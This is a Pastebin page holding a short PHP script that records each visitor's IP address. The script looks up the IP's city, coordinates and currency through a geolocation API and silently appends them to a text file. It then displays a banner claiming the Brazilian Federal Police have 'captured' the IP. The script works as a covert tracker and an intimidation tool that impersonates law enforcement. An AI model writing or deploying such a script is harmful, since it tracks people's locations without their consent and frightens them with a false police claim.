Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- header ('Content-type: text/html; charset=ISO-8859-1');
- // PHP code to obtain country, city,
- // continent, etc using IP Address
- date_default_timezone_set('America/Sao_Paulo');
- function getVisIpAddr() {
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
- return $_SERVER['HTTP_CLIENT_IP'];
- }
- else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- return $_SERVER['HTTP_X_FORWARDED_FOR'];
- }
- else {
- return $_SERVER['REMOTE_ADDR'];
- }
- }
- // Store the IP address
- $vis_ip = getVisIPAddr();
- // Use JSON encoded string and converts
- // it into a PHP variable
- $ipdat = @json_decode(file_get_contents(
- "http://www.geoplugin.net/json.gp?ip=" . $vis_ip));
- /*echo 'NOME PAÍS: ' . $ipdat->geoplugin_countryName . "\n";
- echo 'NOME CIDADE: ' . $ipdat->geoplugin_city . "\n";
- echo 'ESTADO: ' . $ipdat->geoplugin_continentName . "\n";
- echo 'Latitude: ' . $ipdat->geoplugin_latitude . "\n";
- echo 'Longitude: ' . $ipdat->geoplugin_longitude . "\n";
- echo 'MOEDA LOCAL: ' . $ipdat->geoplugin_currencySymbol . "\n";
- echo 'CODIGO MOEDA: ' . $ipdat->geoplugin_currencyCode . "\n";
- echo 'HORARIO LOCAL: ' . $ipdat->geoplugin_timezone; */
- $este_local = '- SEU IP É: ' . $vis_ip .' - NOME PAÍS: ' . $ipdat->geoplugin_countryName .' -NOME CIDADE: ' . $ipdat->geoplugin_city . ' -ESTADO: ' . $ipdat->geoplugin_continentName . ' -Latitude: ' . $ipdat->geoplugin_latitude . ' -Longitude: ' . $ipdat->geoplugin_longitude .' -MOEDA LOCAL: ' . $ipdat->geoplugin_currencySymbol .' -CODIGO MOEDA: ' . $ipdat->geoplugin_currencyCode . ' -HORARIO LOCAL: ' . date('d/m/Y \à\s H:i:s');
- $file = fopen("ip.txt","a+");
- fwrite($file,$este_local."\r\n");
- fclose($file);
- echo "<H2>IP CAPTURADO ".$este_local." POLÍCIA FEDERAL</h2>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement